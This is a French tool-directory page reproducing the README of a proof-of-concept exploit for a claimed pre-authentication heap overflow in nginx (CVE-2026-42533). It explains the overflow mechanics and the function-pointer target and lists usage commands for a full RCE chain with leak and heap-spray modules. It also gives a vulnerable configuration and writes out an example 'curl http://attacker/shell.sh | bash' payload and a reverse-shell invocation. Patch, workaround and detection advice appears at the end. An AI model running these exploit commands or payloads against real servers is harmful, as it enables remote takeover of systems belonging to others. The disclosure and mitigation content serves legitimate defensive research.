Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42533 — Exploit pour un dépassement de tampon tas dans nginx (CVE-2026-42533) fournissant une RCE avant authentification via un écrasement de capture en deux passes. Inclut des modules de fuite d'informations, de pulvérisation de tas et de shell inverse. | Kitploit
Outils/GitHubGitHub/imbas007/cve-2026-42533
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsDéveloppement de Charges UtilesExploitation de Binaires
GitHubimbas007/cve-2026-42533

CVE-2026-42533

Exploit pour un dépassement de tampon tas dans nginx (CVE-2026-42533) fournissant une RCE avant authentification via un écrasement de capture en deux passes. Inclut des modules de fuite d'informations, de pulvérisation de tas et de shell inverse.

Voir le dépôt
329il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42533 — nginx Heap Buffer Overflow PoC Exploit

Exécution de code à distance sans authentification via écrasement de capture en deux passes

PoC public publié le 2026-07-27 — N'attendez pas, corrigez maintenant.

CVECVE-2026-42533
CVSS 4.09.2 (Critique)
TypeDépassement de tas (CWE-122)
Versions affectéesnginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline)
Versions corrigéesnginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
Divulguée2026-07-15 (F5 / NGINX)
PoC publié2026-07-27
ChercheurStan Shaw (0xCyberstan)

Fonctionnement confirmé

PlateformeDiagnosticDépassementCrashFuite d'infos
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ Partielle

Aperçu

CVE-2026-42533 est un dépassement de tas critique dans le moteur d'évaluation de chaînes en deux passes de nginx. Lorsqu'une directive map basée sur une expression régulière interagit avec des groupes de capture numérotés ($1, $2, etc.), la structure partagée r->captures est silencieusement écrasée entre les passes LEN (mesure) et VALUE (écriture). Cela provoque une inadéquation de taille :

  • Capture plus grande → dépassement de tas (écriture hors limites contrôlée par l'attaquant)
  • Capture plus petite → fuite d'informations (mémoire de tas non initialisée exposée, fuite de pointeurs libc/tas)

Enchaînées, ces deux primitives permettent une RCE fiable sans authentification, contournant ASLR — démontrée avec une fiabilité de 10/10 sur Ubuntu 24.04.

Comment ça fonctionne

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

Le dépassement corrompt les structures de tas adjacentes. La cible principale est ngx_pool_cleanup_t :

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

Lorsque le pool de connexions est détruit, handler(data) est appelé → exécution de code arbitraire.

Structure du dépôt

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Chaîne d'exploitation complète (fuite → spray → dépassement → RCE)
│   ├── leak.py          # Module de fuite d'informations (fuite de pointeurs tas/libc)
│   ├── overflow.py      # Module de dépassement de tas (déclenchement de crash / RCE)
│   ├── analyze.py       # Assistant d'analyse GDB pour la détermination des décalages
│   └── requirements.txt # Dépendances Python
├── nginx/
│   └── nginx.conf       # Configuration nginx vulnérable
├── Dockerfile            # Construction Docker pour l'environnement de test (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose pour un déploiement facile
└── README.md

Démarrage rapide

Prérequis

  • Python 3.8+ avec requests
  • Cible : nginx 0.9.6–1.30.3/1.31.2 avec configuration vulnérable (voir ci-dessous)

1. Vérifier la vulnérabilité (sûr)

root@kitploit:~
# Mode diagnostic — montre l'inadéquation en deux passes (sûr, pas de crash)
python3 exploit/overflow.py <target> --diagnose

Sortie :

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. PoC de crash (Prouve l'exploitabilité)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Résultat sur Ubuntu 24.04 :

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. Configurer l'environnement de test

root@kitploit:~
# Ubuntu 24.04 (confirmé fonctionnel)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copier la configuration vulnérable
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Exécuter l'exploit depuis votre machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (Alternative)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

Utilisation

Chaîne d'exploitation complète

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Exemples :
python3 exploit/exploit.py 192.168.1.100                    # entièrement automatique
python3 exploit/exploit.py 192.168.1.100 --leak-only        # reconnaissance uniquement
python3 exploit/exploit.py 192.168.1.100 --crash            # vérifier la vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Mode manuel (si vous avez des adresses pré-fuitées)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

Module de fuite d'informations

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Mode silencieux (affiche uniquement les adresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

Module de dépassement

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # faire crasher le worker (PoC)
python3 exploit/overflow.py <target> --spray     # spray du tas uniquement

Configurations vulnérables

L'exploit nécessite ce motif spécifique dans la configuration nginx :

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

Détectez les configurations vulnérables avec le scanner public :

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

Preuve de crash (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

Atténuation

Immédiate (Correctif)

root@kitploit:~
# Mettez à jour vers les versions corrigées :
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

Contournement temporaire

Remplacez les captures numérotées par des captures nommées dans les directives map :

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

Détection

  • Exécutez le scanner de configuration : https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • Surveillez les redémarrages inattendus de workers nginx
  • Vérifiez la version de nginx : nginx -v (doit être ≥ 1.30.4 ou ≥ 1.31.3)

Références

  • Avis de sécurité F5
  • Analyse technique de 0xCyberstan
  • Scanner de configuration CVE-2026-42533

Avertissement

Ce PoC est publié à des fins de recherche en sécurité et de défense. Utilisez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation explicite de test. La vulnérabilité a été corrigée — mettez à jour immédiatement si ce n'est pas déjà fait.

Télécharger l’outil